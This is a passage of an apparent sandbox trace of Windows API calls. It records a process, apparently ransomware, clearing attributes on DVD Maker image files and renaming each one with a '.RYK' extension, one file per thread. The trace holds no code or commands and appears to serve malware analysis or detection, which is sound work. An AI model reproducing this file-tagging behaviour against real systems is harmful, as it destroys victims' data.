	[0175.029] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0175.208] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.209] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 759
	os_tid = 0x12d8

	[0175.030] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0175.213] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.224] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 760
	os_tid = 0x12dc

	[0175.032] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png", dwFileAttributes=0x80) returned 0
	[0175.032] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.033] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 761
	os_tid = 0x12e0

	[0175.034] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0175.231] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.451] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 762
	os_tid = 0x12e4

	[0175.036] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0175.037] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.037] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.037] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 763
	os_tid = 0x12e8

	[0175.042] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png", dwFileAttributes=0x80) returned 0
	[0175.234] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.449] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.450] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 764
	os_tid = 0x12ec

	[0175.043] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png", dwFileAttributes=0x80) returned 0
	[0175.234] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 765
	os_tid = 0x12f0

	[0175.045] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png", dwFileAttributes=0x80) returned 0
	[0175.235] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.446] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 766
	os_tid = 0x12f4

	[0175.046] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0175.239] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.445] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 767
	os_tid = 0x12f8

	[0175.091] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0175.241] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.241] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.241] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 768
	os_tid = 0x12fc

	[0175.243] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0175.454] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.667] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.667] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 769
	os_tid = 0x1300

	[0175.245] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0175.455] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.658] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.658] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 770
	os_tid = 0x1304

	[0175.247] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0175.455] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.655] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.655] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 771
	os_tid = 0x1308

	[0175.248] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0175.456] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 772
	os_tid = 0x130c

	[0175.250] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png", dwFileAttributes=0x80) returned 0
	[0175.250] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.251] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\pushplaysubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\pushplaysubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 773
	os_tid = 0x1310

	[0175.854] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0176.179] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.587] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.587] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 774
	os_tid = 0x1314

	[0175.856] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0176.179] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.585] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.586] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\heart_glass_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_glass_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 775
	os_tid = 0x1318

	[0175.860] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0176.180] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.584] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 776
	os_tid = 0x131c

	[0175.862] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png", dwFileAttributes=0x80) returned 0
	[0176.180] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Heart_VideoInset.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\heart_videoinset.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 777
	os_tid = 0x1320

	[0175.870] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0175.870] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0175.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0175.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 778
	os_tid = 0x1324

	[0176.183] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0176.198] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.210] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.210] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 779
	os_tid = 0x1328

	[0176.218] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png", dwFileAttributes=0x80) returned 0
	[0176.223] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.234] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\colorcycle.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\colorcycle.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 780
	os_tid = 0x132c

	[0176.241] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png", dwFileAttributes=0x80) returned 0
	[0176.246] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.259] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.260] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\huemainsubpicture2.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\huemainsubpicture2.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 781
	os_tid = 0x1330

	[0176.267] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0176.272] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.283] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 782
	os_tid = 0x1334

	[0176.290] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
